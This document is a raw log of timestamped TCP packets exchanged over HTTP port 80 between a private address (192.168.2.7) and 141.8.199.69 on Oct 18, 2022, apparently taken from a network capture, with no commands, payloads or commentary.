Oct 18, 2022 13:28:11.665709972 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665721893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665740013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665749073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665754080 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665776968 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665776968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665802956 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665806055 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665816069 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665833950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665843964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665863991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665873051 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665891886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665901899 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665925026 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665930033 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665965080 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.666920900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.666960955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.666992903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667001009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667022943 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667031050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667051077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667062044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667081118 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667090893 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667110920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667119980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667140961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667146921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667171955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667179108 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667229891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667236090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667258024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667268991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667287111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667299986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667315960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667326927 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667346001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667356014 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667375088 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667385101 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667402983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667414904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667429924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667442083 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667458057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667469025 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667495966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667495966 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667524099 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667536020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667551994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667562008 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667581081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667591095 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667608976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667618990 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667638063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667648077 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667665958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667676926 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667696953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667706013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667725086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667733908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667753935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.667762995 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.667792082 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.726336002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726381063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726408958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726437092 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726464987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726492882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726524115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726556063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726583004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.726586103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726613998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726635933 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.726643085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726670027 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.726672888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.726696968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.726726055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728023052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728059053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728091955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728106976 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728122950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728135109 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728142977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728154898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728169918 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728184938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728194952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728213072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728224039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728243113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728250980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728271961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728291035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728302956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728312016 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728332996 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728343964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728362083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728374004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728389978 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728399992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728419065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728430986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728449106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728477001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728477001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728487015 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728506088 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728514910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728535891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728547096 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728566885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728574038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728595018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728605986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728626013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728634119 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728653908 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728665113 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728683949 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728693962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728713989 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728722095 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728743076 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728753090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728773117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728782892 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728804111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728813887 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728832006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.728842020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.728869915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787131071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787244081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787296057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787339926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787358999 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787380934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787398100 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787425995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787467957 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787502050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787520885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787561893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787595987 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787604094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787615061 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787645102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787659883 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787686110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787699938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787727118 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.787739038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.787781000 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789190054 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789239883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789287090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789287090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789320946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789330959 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789351940 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789372921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789385080 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789416075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789431095 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789455891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789474964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789496899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789509058 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789546013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789609909 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789609909 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789614916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789655924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789669991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789700031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789720058 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789757967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789809942 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789855957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789905071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789921999 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789952993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.789979935 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.789998055 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790033102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790043116 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790065050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790086031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790107965 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790127039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790143013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790184021 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790189028 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790236950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790244102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790277958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790316105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790321112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790338993 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790364981 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790380955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790421009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790441036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790473938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790482044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790517092 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.790525913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.790569067 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848225117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848278999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848324060 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848334074 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848366022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848371983 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848371983 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848407030 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848448038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848448038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848490953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848490953 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848510981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848531008 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848539114 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848573923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848576069 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848614931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848619938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848655939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.848659992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.848701000 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.849924088 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.849971056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.850003958 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.850039005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.850771904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.850850105 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.850860119 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.850908995 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.850917101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.850984097 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851003885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851038933 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851052046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851083994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851094007 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851125956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851134062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851166964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851175070 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851207018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851216078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851248980 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851254940 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851289988 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851295948 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851330996 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851340055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851372957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851378918 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851417065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851422071 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851457119 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851466894 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851509094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851531029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851562023 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851574898 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851603031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851613045 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851644039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851651907 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851687908 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851696014 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851730108 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851737976 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851771116 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851778984 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851811886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851819992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851852894 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851861000 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851895094 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851901054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851934910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851943970 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.851979017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.851985931 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.852029085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.909158945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909204960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909234047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909262896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909291983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909321070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909324884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.909347057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909375906 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909392118 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.909404039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909418106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.909432888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909461975 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.909462929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909493923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.909497023 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.909535885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.909555912 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.910336971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.910372972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.910429001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.910454035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.912677050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912723064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912750959 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912780046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.912790060 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.912806988 CEST	80	49701	141.8.199.69	192.168.2.7
